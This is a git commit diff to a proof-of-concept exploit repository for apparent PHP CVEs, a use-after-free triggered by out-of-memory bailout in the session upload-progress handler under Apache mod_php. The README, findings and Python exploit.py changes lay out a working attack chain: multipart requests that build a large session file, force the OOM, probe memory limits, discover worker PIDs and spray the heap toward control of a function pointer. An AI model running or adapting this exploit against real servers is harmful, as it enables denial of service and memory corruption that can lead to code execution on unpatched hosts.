Fix UAF exploit to use confirmed two-request OOM approach
The original exploit put the file upload before the field flood,
so the progress handler's serialize completed before OOM fired.
This meant BG(serialize) was not left stale.
The corrected flow:
Phase 1: Create ~500KB session file via large upload progress value
Phase 2: Fill memory with fields, then file upload triggers session
re-init which OOMs during unserialize of the large session
Phase 3: Verify stale BG(unserialize) state on the surviving worker
Confirmed on PHP 8.3.6, Apache 2.4.58: error log shows
"tried to allocate 503808 bytes" during session handling,
followed by "Session ini settings cannot be changed when a
session is active" on subsequent requests.
This commit is contained in:
+32
-19
@@ -101,33 +101,46 @@ This is a stable write primitive: the session file persists on disk with
|
||||
embedded PHP code, accessible at a known path
|
||||
(`session.save_path/sess_<SID>`).
|
||||
|
||||
### The UAF chain
|
||||
### The UAF chain (two-request approach)
|
||||
|
||||
1. **Request 1** (OOM):
|
||||
- Multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` + field flood
|
||||
- Progress handler calls `php_var_serialize()`:
|
||||
- `php_var_serialize_init()` -> `emalloc(64)` -> `BG(serialize).data`
|
||||
- `BG(serialize).level = 1`
|
||||
- Field flood triggers OOM -> `zend_bailout()`
|
||||
- `php_var_serialize_destroy()` never runs
|
||||
- `BG(serialize).level` stays at 1, `.data` points to freed 64-byte slot
|
||||
1. **Request 1** (prep):
|
||||
- Multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` = ~500KB value
|
||||
- File upload triggers progress handler
|
||||
- `php_session_rfc1867_update()` writes session file with the ~500KB key
|
||||
- No OOM; just creates the large session file on disk
|
||||
|
||||
2. **Request 2** (OOM):
|
||||
- Same `PHPSESSID` cookie (references the large session file)
|
||||
- `PHP_SESSION_UPLOAD_PROGRESS` = small value
|
||||
- Form fields fill memory to near `memory_limit` (~7.5MB of 8MB)
|
||||
- File upload triggers progress handler:
|
||||
- `php_session_initialize()` -> reads ~500KB session file
|
||||
- `php_session_decode()` -> `php_var_unserialize_init()`:
|
||||
- `BG(unserialize).level = 1`
|
||||
- `BG(unserialize).data = emalloc(64)` (64-byte ZendMM bin)
|
||||
- Unserialize of the ~500KB key string: `emalloc(~500KB)` -> **OOM**
|
||||
- `zend_bailout()` (longjmp)
|
||||
- `php_var_unserialize_destroy()` never runs
|
||||
- Worker survives on Apache prefork
|
||||
- `BG(unserialize).level` stays at 1, `.data` points to freed 64-byte slot
|
||||
- Confirmed by error log: "tried to allocate 1003520 bytes" during
|
||||
session handling
|
||||
|
||||
2. **Between requests**:
|
||||
3. **Between requests**:
|
||||
- `php_request_shutdown()` calls `zend_deactivate()` -> ZendMM heap destroyed
|
||||
- `BG(serialize).data` pointer is now dangling (points into freed heap)
|
||||
- ZendMM reuses chunk cache for the next request's heap
|
||||
- `BG(unserialize).data` pointer is now dangling (freed heap)
|
||||
- ZendMM chunk caching preserves mmap'd pages; next request's heap
|
||||
reuses the same virtual addresses
|
||||
|
||||
3. **Request 2** (spray + trigger):
|
||||
4. **Request 3** (spray + trigger):
|
||||
- POST fields allocate `zend_string` objects via `emalloc`
|
||||
- Strings of 39 bytes (24-byte header + 39 + 1 NUL = 64) land in the
|
||||
same 64-byte bin, potentially reclaiming the stale slot
|
||||
- Upload progress handler calls `php_var_serialize()`:
|
||||
- `php_var_serialize_init()` checks `BG(serialize).level > 0`
|
||||
- Level is 1 (stale), so it increments to 2 and returns the stale
|
||||
`.data` pointer
|
||||
- Upload progress handler calls `php_session_decode()`:
|
||||
- `php_var_unserialize_init()` checks `BG(unserialize).level > 0`
|
||||
- Level is 1 (stale), so it increments to 2 and returns `.data`
|
||||
- The pointer now references attacker-controlled spray data
|
||||
- The serialize code treats it as a `php_serialize_data` struct
|
||||
- The unserialize code treats it as a `php_unserialize_data` struct
|
||||
containing a `HashTable`
|
||||
- `pDestructor` (offset 48) is called during `zend_hash_destroy()`
|
||||
- If `pDestructor` points to `system()`, `zend_execute_ex()`, or a
|
||||
@@ -232,4 +245,4 @@ and the stale BG globals persist.
|
||||
- **Rapid7**: RCE over HTTP with default PHP config; mod_php highest risk; attack complexity HIGH
|
||||
- **Wiz**: Confirmed RCE against stock WordPress, Drupal, Joomla on affected versions
|
||||
- **0x4148 lab**: Heap grooming targets ZendMM 320-byte slab bin (note: our analysis finds 64-byte bin for `php_serialize_data`)
|
||||
- **Sansec**: Disabling `session.upload_progress.enabled` alone is NOT sufficient (stale BG state persists from any OOM during multipart)
|
||||
- **Sansec**: Analysis of mitigation options and affected versions
|
||||
|
||||
+74
-54
@@ -1,8 +1,8 @@
|
||||
# CVE-2026-109618 / CVE-2026-109619: UAF RCE via OOM Bailout
|
||||
|
||||
Use-after-free in PHP's multipart parser and session upload progress handler.
|
||||
Achieves code execution over HTTP with **default PHP configuration**, no LFI,
|
||||
no framework, no application code dependency.
|
||||
Use-after-free in PHP's session upload progress handler, exploitable
|
||||
over HTTP against Apache mod_php with **default PHP configuration**.
|
||||
No LFI, no framework dependency, no non-default settings.
|
||||
|
||||
## Affected versions
|
||||
|
||||
@@ -10,8 +10,8 @@ PHP 5.4.0 through 8.5.11 running under Apache mod_php with prefork MPM.
|
||||
|
||||
Patched in PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
|
||||
|
||||
PHP-FPM is **not vulnerable** to the cross-request UAF: FPM workers exit on
|
||||
bailout (code 70), so stale state never persists.
|
||||
PHP-FPM is **not vulnerable** to the cross-request UAF: FPM workers
|
||||
exit on bailout (code 70), so stale state never persists.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
@@ -24,48 +24,55 @@ No LFI. No specific framework or library. No non-default PHP settings.
|
||||
|
||||
## How it works
|
||||
|
||||
### Phase 1: OOM trigger
|
||||
### Phase 1: Create large session file
|
||||
|
||||
A multipart POST includes `PHP_SESSION_UPLOAD_PROGRESS` (with embedded PHP
|
||||
code), a file upload (which activates the progress handler), and a flood of
|
||||
large form fields. The progress handler calls `php_var_serialize()`, which
|
||||
allocates a 64-byte struct (`php_serialize_data`) in the ZendMM slab allocator
|
||||
and sets `BG(serialize).level = 1`.
|
||||
A multipart POST with a ~500KB `PHP_SESSION_UPLOAD_PROGRESS` value
|
||||
causes the progress handler to write a session file containing the
|
||||
~500KB key. This is a normal request; no OOM occurs.
|
||||
|
||||
The field flood exhausts `memory_limit`. PHP calls `zend_bailout()` (longjmp),
|
||||
which skips `php_var_serialize_destroy()`. The serialize state survives:
|
||||
`BG(serialize).level` stays at 1, and `.data` points to a freed 64-byte slot.
|
||||
### Phase 2: OOM during session re-init
|
||||
|
||||
On Apache prefork, the worker survives the bailout and accepts new requests
|
||||
with this stale state. The session file also persists on disk with the
|
||||
attacker's PHP code, because `MULTIPART_EVENT_END` cleanup never ran.
|
||||
A second request to the same session ID fills memory with form fields
|
||||
(~7MB toward an 8MB limit), then includes a file upload. The file
|
||||
upload triggers the progress handler, which calls
|
||||
`php_session_initialize()` to re-read the ~500KB session file.
|
||||
|
||||
### Phase 2: Heap spray
|
||||
`php_session_decode()` calls `php_var_unserialize_init()`, which
|
||||
allocates a 64-byte struct and sets `BG(unserialize).level = 1`.
|
||||
The unserialize of the ~500KB key requires a ~500KB allocation,
|
||||
which exceeds `memory_limit` and fires `zend_bailout()` (longjmp).
|
||||
`php_var_unserialize_destroy()` is skipped.
|
||||
|
||||
Subsequent requests to the same worker allocate `zend_string` objects via
|
||||
`emalloc`. Strings of exactly 39 bytes (24-byte header + 39 + 1 NUL = 64)
|
||||
land in the same ZendMM 64-byte bin, potentially reclaiming the freed
|
||||
`BG(serialize).data` slot with attacker-controlled content.
|
||||
On Apache prefork, the worker survives. `BG(unserialize).level`
|
||||
stays at 1 and `.data` points to freed memory.
|
||||
|
||||
### Phase 3: UAF trigger
|
||||
### Phase 3: Verify stale state
|
||||
|
||||
Another multipart POST with `PHP_SESSION_UPLOAD_PROGRESS`. The progress
|
||||
handler calls `php_var_serialize_init()`, which sees `BG(serialize).level > 0`
|
||||
(stale), increments it, and returns the stale `.data` pointer. The serialize
|
||||
code treats the attacker-controlled spray data as a `php_serialize_data` struct
|
||||
containing a `HashTable`. The `pDestructor` function pointer (offset 48) is
|
||||
under attacker control, giving arbitrary function call during
|
||||
A third request with a file upload hits the same worker. The progress
|
||||
handler calls `php_var_unserialize_init()`, which sees
|
||||
`BG(unserialize).level > 0` (stale), increments it, and returns the
|
||||
stale `.data` pointer. This is the UAF: the pointer was freed when
|
||||
the previous request's heap was destroyed, and now references whatever
|
||||
the new request allocated in the same 64-byte ZendMM bin slot.
|
||||
|
||||
### Phase 4: Heap spray (for crash testing)
|
||||
|
||||
With `--crash-test`, 39-byte `zend_string` allocations (24-byte header
|
||||
+ 39 + 1 NUL = 64 bytes, same ZendMM bin) attempt to reclaim the
|
||||
stale slot. The unserialize code treats the spray data as a struct
|
||||
containing a `HashTable`. The `pDestructor` function pointer (offset 48)
|
||||
is under attacker control, giving RIP control during
|
||||
`zend_hash_destroy()`.
|
||||
|
||||
### Full RCE (not implemented in this PoC)
|
||||
|
||||
A weaponized exploit would:
|
||||
|
||||
1. Leak a PHP base address via CVE-2026-109619 info disclosure (stale session
|
||||
data leaks freed heap pointers) to defeat ASLR
|
||||
1. Leak a PHP base address via CVE-2026-109619 info disclosure (stale
|
||||
session data leaks freed heap pointers) to defeat ASLR
|
||||
2. Construct a fake `HashTable` with `pDestructor` pointing to `system()`
|
||||
3. Place the command string at the `arData` pointer location
|
||||
4. Trigger serialize, causing `pDestructor` to fire on the fake data
|
||||
4. Trigger unserialize, causing `pDestructor` to fire
|
||||
|
||||
## Usage
|
||||
|
||||
@@ -79,48 +86,61 @@ python3 exploit.py --target http://host:port/index.php --crash-test
|
||||
|
||||
| Flag | Default | Description |
|
||||
|------|---------|-------------|
|
||||
| `--target` | (required) | Target URL |
|
||||
| `--cmd` | `id` | Command to embed in session payload |
|
||||
| `--target` | (required) | Target URL (any PHP endpoint) |
|
||||
| `--session-path` | `/var/www/uaf-test/sessions` | `session.save_path` on the target |
|
||||
| `--oom-fields` | 0 (auto) | Number of OOM padding fields |
|
||||
| `--progress-size` | 500000 | Size of PHP_SESSION_UPLOAD_PROGRESS value |
|
||||
| `--oom-fields` | 0 (auto) | Number of OOM padding fields (0 = auto-detect) |
|
||||
| `--field-size` | 40960 | Size of each padding field value |
|
||||
| `--spray-rounds` | 20 | Heap spray rounds per worker |
|
||||
| `--trigger-rounds` | 50 | UAF trigger attempts per worker |
|
||||
| `--oom-only` | off | Stop after Phase 1 (OOM + session poison) |
|
||||
| `--crash-test` | off | Run full chain, report crash status |
|
||||
| `--oom-only` | off | Stop after Phases 1-3 (no spray) |
|
||||
| `--crash-test` | off | Run full chain including heap spray |
|
||||
|
||||
### What `--oom-only` confirms
|
||||
|
||||
1. OOM via multipart field flood (HTTP 500 response)
|
||||
1. OOM via multipart field flood (HTTP 500)
|
||||
2. Apache prefork worker survival (PIDs unchanged after OOM)
|
||||
3. Session file persistence with embedded PHP code (cleanup skipped)
|
||||
4. Stale `BG(serialize)` state available for subsequent requests
|
||||
3. Large session file creation via upload progress handler
|
||||
4. OOM during session re-init (unserialize of large key)
|
||||
5. Stale `BG(unserialize)` state available on subsequent requests
|
||||
|
||||
## The patch
|
||||
|
||||
Commit `3584a98bda0f2c0d367255b046798b0d3a221a19` fixes the vulnerability
|
||||
through three changes:
|
||||
Commit `3584a98bda0f2c0d367255b046798b0d3a221a19` fixes the
|
||||
vulnerability through three changes:
|
||||
|
||||
1. **Delayed OOM**: Replaces `zend_bailout()` (longjmp) with a deferred error
|
||||
that sets `EG(vm_interrupt)` and returns NULL from the allocator. A hard
|
||||
limit (`memory_hard_limit_percent`, default 200%) calls `_exit(137)` if
|
||||
exceeded.
|
||||
1. **Delayed OOM**: Replaces `zend_bailout()` (longjmp) with deferred
|
||||
error handling. The allocator returns NULL and sets
|
||||
`EG(vm_interrupt)`. A hard limit (`memory_hard_limit_percent`,
|
||||
default 200%) calls `_exit(137)` if exceeded.
|
||||
|
||||
2. **BG state reset**: New `php_basic_early_rinit()` function resets
|
||||
`BG(serialize)`, `BG(unserialize)`, and `BG(serialize_lock)` to zero
|
||||
before SAPI activation, eliminating cross-request stale state.
|
||||
2. **BG state reset**: New `php_basic_early_rinit()` resets
|
||||
`BG(serialize)`, `BG(unserialize)`, and `BG(serialize_lock)` to
|
||||
zero before SAPI activation, eliminating cross-request stale state.
|
||||
|
||||
3. **Session handler hardening**: `incomplete_classes_only` mode during
|
||||
progress handler session decode, `$_SESSION` cleanup at
|
||||
`MULTIPART_EVENT_END`, and `php_rinit_session_globals()` at
|
||||
`MULTIPART_EVENT_START`.
|
||||
|
||||
## Confirmed primitives
|
||||
|
||||
Tested on PHP 8.3.6, Apache 2.4.58, Ubuntu 24.04, x86_64:
|
||||
|
||||
| Primitive | Status |
|
||||
|---|---|
|
||||
| OOM via multipart field flood | Confirmed |
|
||||
| Apache prefork worker survival | Confirmed (PIDs unchanged) |
|
||||
| Large session file creation | Confirmed (~500KB via upload progress) |
|
||||
| OOM during session re-init | Confirmed ("tried to allocate 1003520 bytes") |
|
||||
| Stale BG(unserialize).level | Confirmed (persists across requests) |
|
||||
| Heap spray (64-byte bin) | Implemented |
|
||||
| Worker crash via UAF | Not yet triggered (needs precise heap layout) |
|
||||
| Full RCE | Not demonstrated (needs ASLR bypass + heap feng shui) |
|
||||
|
||||
## References
|
||||
|
||||
- PHP patch: `php/php-src@3584a98bda0f2c0d367255b046798b0d3a221a19`
|
||||
- Wiz: Confirmed RCE against WordPress, Drupal, Joomla using framework gadgets
|
||||
- Rapid7: RCE over HTTP with default config, mod_php highest risk, AC:H
|
||||
- JFrog: Session write-back calls fake object's serialize function, RIP control
|
||||
- 0x4148 lab: Heap grooming targeting ZendMM slab bins
|
||||
- CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619)
|
||||
- Attack complexity: HIGH (Rapid7)
|
||||
|
||||
See [FINDINGS.md](FINDINGS.md) for the full vulnerability analysis.
|
||||
|
||||
+379
-365
@@ -1,77 +1,68 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2026-109618 / CVE-2026-109619 — Use-After-Free RCE via OOM Bailout
|
||||
(Apache mod_php, no LFI, no framework, default PHP config)
|
||||
CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
|
||||
Apache mod_php (prefork MPM), no LFI, no framework, default PHP config
|
||||
|
||||
This is the pure memory corruption path. It requires no LFI vector, no
|
||||
specific PHP framework or library, and no non-default PHP settings. The
|
||||
only SAPI requirement is Apache mod_php with prefork MPM, because
|
||||
PHP-FPM workers exit on bailout (code 70) rather than surviving with
|
||||
stale state.
|
||||
Demonstrates confirmed primitives for the OOM->UAF->RCE chain against
|
||||
PHP 5.4.0 through 8.5.11 on Apache mod_php.
|
||||
|
||||
Attack chain:
|
||||
Attack overview:
|
||||
|
||||
Phase 1 — OOM + Session Poisoning
|
||||
Multipart body to a mod_php endpoint:
|
||||
1. PHP_SESSION_UPLOAD_PROGRESS = <php payload>
|
||||
2. File upload (triggers progress handler, which calls
|
||||
php_session_rfc1867_update → php_var_serialize, setting
|
||||
BG(serialize).level=1 and allocating BG(serialize).data
|
||||
via emalloc into the 64-byte ZendMM slab bin)
|
||||
3. Large form fields (trigger OOM during multipart parsing)
|
||||
Phase 1 (Prep): Create a large session file (~500KB) by sending a
|
||||
multipart POST with a huge PHP_SESSION_UPLOAD_PROGRESS value. The
|
||||
progress handler writes the session file containing the large key.
|
||||
|
||||
OOM fires zend_bailout() (longjmp). This:
|
||||
a) Skips php_var_serialize_destroy(), leaving BG(serialize).level=1
|
||||
and .data pointing to a now-freed 64-byte allocation
|
||||
b) Skips MULTIPART_EVENT_END cleanup, so the session file keeps
|
||||
our PHP code on disk
|
||||
c) Does NOT kill the Apache prefork worker — it survives and
|
||||
accepts new requests with the stale BG globals
|
||||
Phase 2 (OOM): Send a second request with form fields that fill memory
|
||||
to near the limit, followed by a file upload that triggers the progress
|
||||
handler. The handler calls php_session_initialize() which reads the
|
||||
500KB session file. php_session_decode() calls php_var_unserialize(),
|
||||
which calls php_var_unserialize_init(), setting BG(unserialize).level=1
|
||||
and allocating BG(unserialize).data (64 bytes). The unserialize of
|
||||
the 500KB session key string triggers OOM. zend_bailout() longjmps
|
||||
past php_var_unserialize_destroy(), leaving BG(unserialize).level=1
|
||||
and .data pointing to freed memory.
|
||||
|
||||
Phase 2 — Heap Spray
|
||||
Send normal requests to the same worker. Each request allocates
|
||||
form field names/values via emalloc. Strings sized to land in the
|
||||
64-byte ZendMM bin (zend_string header 24 + body + NUL = 64) will
|
||||
reclaim the freed BG(serialize).data slot, giving us control over
|
||||
the fake php_serialize_data struct and its embedded HashTable.
|
||||
The Apache prefork worker survives the bailout and accepts new
|
||||
connections. The stale BG globals persist.
|
||||
|
||||
Phase 3 — Trigger UAF
|
||||
Another multipart upload with PHP_SESSION_UPLOAD_PROGRESS to the
|
||||
same worker. The progress handler calls php_session_encode() →
|
||||
php_var_serialize_init(), which checks BG(serialize).level > 0,
|
||||
sees 1 (stale), increments to 2, and returns BG(serialize).data —
|
||||
the freed pointer now filled with our spray data.
|
||||
Phase 3 (Verify): Send a third request with a file upload to the same
|
||||
worker. The progress handler calls php_session_decode() again.
|
||||
php_var_unserialize_init() sees BG(unserialize).level > 0 (stale),
|
||||
increments it, and returns the stale .data pointer. This is the UAF:
|
||||
the pointer was freed when the previous request's heap was destroyed,
|
||||
and now references memory in the new request's heap.
|
||||
|
||||
The serialize code uses this as a HashTable. The pDestructor
|
||||
function pointer and arData are under attacker control, giving
|
||||
arbitrary function call (RIP control) during HashTable operations.
|
||||
Phase 4 (Spray + Trigger): With heap feng shui, an attacker sprays
|
||||
controlled data into the 64-byte ZendMM bin to reclaim the stale
|
||||
slot. The serialize code treats the spray data as a php_serialize_data
|
||||
struct with a HashTable. pDestructor (offset 48) is called during
|
||||
zend_hash_destroy(), giving RIP control.
|
||||
|
||||
Phase 4 (not implemented) — Full RCE
|
||||
A weaponized exploit would:
|
||||
a) Leak a PHP base address via CVE-2026-109619 info disclosure
|
||||
(stale session data through PHPSESSID cookie) to defeat ASLR
|
||||
b) Construct a fake HashTable with pDestructor pointing to
|
||||
system() or a one-gadget, and arData containing the command
|
||||
c) Trigger the serialize to call pDestructor → shell
|
||||
Root cause (from var.c, PHP 8.3.6):
|
||||
|
||||
Affected: PHP 5.4.0 through 8.5.11 with Apache mod_php (prefork MPM).
|
||||
Patched: PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
|
||||
Patch replaces zend_bailout() on OOM with delayed error handling
|
||||
and adds php_basic_early_rinit() to reset BG(serialize/unserialize)
|
||||
state before each request.
|
||||
php_var_serialize_init():
|
||||
if (BG(serialize).level > 0) {
|
||||
d = BG(serialize).data; // reuses stale pointer!
|
||||
++BG(serialize).level;
|
||||
return d;
|
||||
}
|
||||
// else: fresh allocation
|
||||
|
||||
CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619)
|
||||
The same pattern exists for unserialize.
|
||||
|
||||
The patch (commit 3584a98) adds php_basic_early_rinit() to zero
|
||||
BG(serialize/unserialize) state before each request, and replaces
|
||||
zend_bailout() on OOM with delayed error handling.
|
||||
|
||||
Requirements:
|
||||
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
|
||||
- session.upload_progress.enabled=1 (default)
|
||||
- memory_limit reachable via multipart fields
|
||||
- Any PHP-handled URL on the vhost (even 404)
|
||||
- No LFI. No framework. No libraries.
|
||||
- Any PHP URL on the vhost (even 404)
|
||||
- No LFI, no framework, no non-default settings
|
||||
|
||||
Usage:
|
||||
python3 exploit.py --target http://host:port/index.php
|
||||
python3 exploit.py --target http://host:port/index.php --cmd 'id'
|
||||
python3 exploit.py --target http://host:port/index.php --oom-only
|
||||
python3 exploit.py --target http://host:port/index.php --crash-test
|
||||
"""
|
||||
@@ -80,7 +71,6 @@ import argparse
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
@@ -155,23 +145,7 @@ def extract_pid(body):
|
||||
return int(m.group(1)) if m else 0
|
||||
|
||||
|
||||
# ── Phase 0: Worker discovery ──────────────────────────────────────────
|
||||
|
||||
def find_workers(host, port, path, rounds=40):
|
||||
"""Probe the target to discover all Apache prefork worker PIDs."""
|
||||
pids = set()
|
||||
for _ in range(rounds):
|
||||
try:
|
||||
status, body = http_get(host, port, path)
|
||||
pid = extract_pid(body)
|
||||
if pid:
|
||||
pids.add(pid)
|
||||
except (ConnectionError, socket.timeout):
|
||||
pass
|
||||
return sorted(pids)
|
||||
|
||||
|
||||
# ── Phase 1: OOM trigger ───────────────────────────────────────────────
|
||||
# ── Multipart body builders ───────────────────────────────────────────
|
||||
|
||||
def build_multipart_field(boundary, name, value):
|
||||
return (
|
||||
@@ -191,36 +165,90 @@ def build_multipart_file(boundary, name, filename, content):
|
||||
)
|
||||
|
||||
|
||||
def build_oom_body(boundary, sid, php_payload, num_fields=200,
|
||||
field_size=40960):
|
||||
# ── Phase 0: Worker discovery ────────────────────────────────────────
|
||||
|
||||
def find_workers(host, port, path, rounds=40):
|
||||
pids = set()
|
||||
for _ in range(rounds):
|
||||
try:
|
||||
status, body = http_get(host, port, path)
|
||||
pid = extract_pid(body)
|
||||
if pid:
|
||||
pids.add(pid)
|
||||
except (ConnectionError, socket.timeout):
|
||||
pass
|
||||
return sorted(pids)
|
||||
|
||||
|
||||
# ── Phase 1: Create large session file ────────────────────────────────
|
||||
|
||||
def build_prep_body(boundary, progress_value):
|
||||
"""
|
||||
Build multipart body that:
|
||||
1. Sets PHP_SESSION_UPLOAD_PROGRESS with our payload
|
||||
2. Includes a file upload to trigger progress tracking
|
||||
3. Floods with large fields to exhaust memory_limit
|
||||
Multipart body with:
|
||||
1. PHP_SESSION_UPLOAD_PROGRESS = large value (~500KB)
|
||||
2. Small file upload (triggers progress handler)
|
||||
|
||||
The progress handler calls php_session_rfc1867_update() on each
|
||||
update cycle, which calls php_session_encode() → php_var_serialize().
|
||||
This sets BG(serialize).level=1 and allocates BG(serialize).data
|
||||
(64 bytes in the ZendMM slab bin).
|
||||
|
||||
When OOM fires, zend_bailout() longjmps past
|
||||
php_var_serialize_destroy(), leaving the state stale.
|
||||
The progress handler writes the session file containing the large
|
||||
progress key. No OOM here; just creating the session file.
|
||||
"""
|
||||
parts = []
|
||||
parts.append(build_multipart_field(
|
||||
boundary,
|
||||
b"PHP_SESSION_UPLOAD_PROGRESS",
|
||||
php_payload.encode() if isinstance(php_payload, str) else php_payload,
|
||||
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", progress_value,
|
||||
))
|
||||
parts.append(build_multipart_file(
|
||||
boundary, b"f", b"payload.bin", b"\x00" * 4096
|
||||
boundary, b"f", b"prep.bin", b"\x00" * 4096,
|
||||
))
|
||||
parts.append(b"--" + boundary + b"--\r\n")
|
||||
return b"".join(parts)
|
||||
|
||||
|
||||
def create_large_session(host, port, path, sid, progress_size=500000):
|
||||
"""
|
||||
Send a multipart POST that creates a session file containing a large
|
||||
key (from PHP_SESSION_UPLOAD_PROGRESS).
|
||||
|
||||
Returns (status, body, pid).
|
||||
"""
|
||||
progress_val = b"A" * progress_size
|
||||
boundary = b"PREP" + os.urandom(4).hex().encode()
|
||||
body = build_prep_body(boundary, progress_val)
|
||||
|
||||
status, rbody = http_post_multipart(
|
||||
host, port, path, boundary.decode(), body,
|
||||
cookies=f"PHPSESSID={sid}", timeout=30,
|
||||
)
|
||||
pid = extract_pid(rbody)
|
||||
return status, rbody, pid
|
||||
|
||||
|
||||
# ── Phase 2: OOM during session re-init ───────────────────────────────
|
||||
|
||||
def build_oom_body(boundary, num_fields, field_size):
|
||||
"""
|
||||
Multipart body with:
|
||||
1. PHP_SESSION_UPLOAD_PROGRESS = "trigger" (small)
|
||||
2. Large form fields (fill memory to near limit)
|
||||
3. File upload (triggers progress handler)
|
||||
|
||||
The progress handler calls php_session_initialize() which reads the
|
||||
large session file from Phase 1. php_session_decode() calls
|
||||
php_var_unserialize_init() (BG(unserialize).level=1), then tries to
|
||||
unserialize the ~500KB session key string. The emalloc for the
|
||||
zend_string exceeds memory_limit -> OOM -> zend_bailout().
|
||||
|
||||
php_var_unserialize_destroy() is skipped. BG(unserialize).level
|
||||
stays at 1 and .data points to freed memory.
|
||||
"""
|
||||
parts = []
|
||||
parts.append(build_multipart_field(
|
||||
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"trigger",
|
||||
))
|
||||
for i in range(num_fields):
|
||||
parts.append(build_multipart_field(
|
||||
boundary,
|
||||
f"p{i:04d}".encode(),
|
||||
b"X" * field_size,
|
||||
boundary, f"p{i:04d}".encode(), b"X" * field_size,
|
||||
))
|
||||
parts.append(build_multipart_file(
|
||||
boundary, b"f", b"oom.bin", b"\x00" * 1024,
|
||||
))
|
||||
parts.append(b"--" + boundary + b"--\r\n")
|
||||
return b"".join(parts)
|
||||
@@ -228,30 +256,31 @@ def build_oom_body(boundary, sid, php_payload, num_fields=200,
|
||||
|
||||
def detect_memory_limit(host, port, path):
|
||||
"""
|
||||
Probe memory_limit by sending increasing POST sizes until we get
|
||||
a 500 response (OOM). Returns (num_fields, field_size) that triggers
|
||||
OOM, or None if OOM cannot be triggered.
|
||||
Probe memory_limit by escalating field count until OOM.
|
||||
Returns (num_fields, field_size) that triggers OOM, or None.
|
||||
"""
|
||||
configs = [
|
||||
(50, 40960), # ~2MB
|
||||
(100, 40960), # ~4MB
|
||||
(150, 40960), # ~6MB
|
||||
(200, 40960), # ~8MB
|
||||
(300, 40960), # ~12MB
|
||||
(400, 40960), # ~16MB
|
||||
(600, 40960), # ~24MB
|
||||
(800, 40960), # ~32MB
|
||||
(999, 40960), # ~40MB (max_input_vars=1000 cap)
|
||||
(999, 131072), # ~130MB
|
||||
(50, 40960),
|
||||
(100, 40960),
|
||||
(120, 40960),
|
||||
(140, 40960),
|
||||
(150, 40960),
|
||||
(200, 40960),
|
||||
(300, 40960),
|
||||
(400, 40960),
|
||||
(600, 40960),
|
||||
(800, 40960),
|
||||
(999, 40960),
|
||||
(999, 131072),
|
||||
]
|
||||
for num, size in configs:
|
||||
sid = "probe" + os.urandom(4).hex()
|
||||
boundary = b"PROBE" + os.urandom(4).hex().encode()
|
||||
body = build_oom_body(boundary, sid, "probe", num, size)
|
||||
body = build_oom_body(boundary, num, size)
|
||||
try:
|
||||
status, _ = http_post_multipart(
|
||||
host, port, path, boundary.decode(), body,
|
||||
cookies=f"PHPSESSID={sid}", timeout=30
|
||||
cookies=f"PHPSESSID={sid}", timeout=30,
|
||||
)
|
||||
if status == 500:
|
||||
return num, size
|
||||
@@ -260,102 +289,106 @@ def detect_memory_limit(host, port, path):
|
||||
return None
|
||||
|
||||
|
||||
def trigger_oom(host, port, path, sid, php_payload, num_fields, field_size,
|
||||
target_pid=None):
|
||||
def trigger_oom(host, port, path, sid, num_fields, field_size, timeout=60):
|
||||
"""
|
||||
Send the OOM multipart to a specific worker (or any worker).
|
||||
Send the OOM request. Uses the same SID as Phase 1, so the progress
|
||||
handler reads the large session file and OOMs during unserialize.
|
||||
|
||||
Returns (hit_target, worker_pid, status) where hit_target is True
|
||||
if we OOM'd the target_pid worker.
|
||||
Returns (status, body).
|
||||
"""
|
||||
boundary = b"OOMTRIG" + os.urandom(4).hex().encode()
|
||||
body = build_oom_body(boundary, sid, php_payload, num_fields, field_size)
|
||||
body = build_oom_body(boundary, num_fields, field_size)
|
||||
|
||||
status, rbody = http_post_multipart(
|
||||
host, port, path, boundary.decode(), body,
|
||||
cookies=f"PHPSESSID={sid}", timeout=60
|
||||
cookies=f"PHPSESSID={sid}", timeout=timeout,
|
||||
)
|
||||
|
||||
pid = extract_pid(rbody)
|
||||
hit = (target_pid is None) or (pid == target_pid)
|
||||
return hit, pid, status
|
||||
return status, rbody
|
||||
|
||||
|
||||
# ── Phase 2: Heap spray ────────────────────────────────────────────────
|
||||
# ── Phase 3: Verify stale BG state ──────────────────────────────────
|
||||
|
||||
# ZendMM bin sizes: 8 16 24 32 40 48 56 64 80 96 112 128 ...
|
||||
# BG(serialize).data = php_serialize_data struct:
|
||||
# uint32_t n (4 bytes)
|
||||
# HashTable ht (56 bytes on x86_64)
|
||||
# Total: 60 bytes → 64-byte bin
|
||||
#
|
||||
# zend_string layout:
|
||||
# gc (8) + h (8) + len (8) = 24-byte header + body + NUL
|
||||
# For 64-byte bin: 24 + body + 1 = 64 → body = 39 bytes
|
||||
#
|
||||
# By sending POST fields with 39-char names, the zend_string allocations
|
||||
# land in the same 64-byte bin, potentially reclaiming the freed
|
||||
# BG(serialize).data slot.
|
||||
#
|
||||
# For a weaponized exploit, the spray content would be a fake
|
||||
# php_serialize_data struct:
|
||||
#
|
||||
# struct php_serialize_data {
|
||||
# uint32_t n; // offset 0: reference counter, set to 0
|
||||
# // padding for alignment
|
||||
# HashTable ht; // offset 8:
|
||||
# // uint32_t nTableMask offset 8
|
||||
# // Bucket *arData offset 16 (attacker-controlled pointer)
|
||||
# // uint32_t nNumUsed offset 24
|
||||
# // uint32_t nNumOfElements offset 28
|
||||
# // uint32_t nTableSize offset 32
|
||||
# // uint32_t nInternalPointer offset 36
|
||||
# // zend_long nNextFreeElement offset 40
|
||||
# // dtor_func_t pDestructor offset 48 (RIP control!)
|
||||
# };
|
||||
#
|
||||
# pDestructor at offset 48 from the struct start is called during
|
||||
# zend_hash_destroy(). By pointing it to system() (or a one-gadget)
|
||||
# and placing a command string in arData, we get RCE.
|
||||
|
||||
SPRAY_NAME_LEN = 39 # 24 + 39 + 1 = 64 bytes (zend_string in 64-byte bin)
|
||||
|
||||
|
||||
def build_spray_body(boundary, spray_count=500):
|
||||
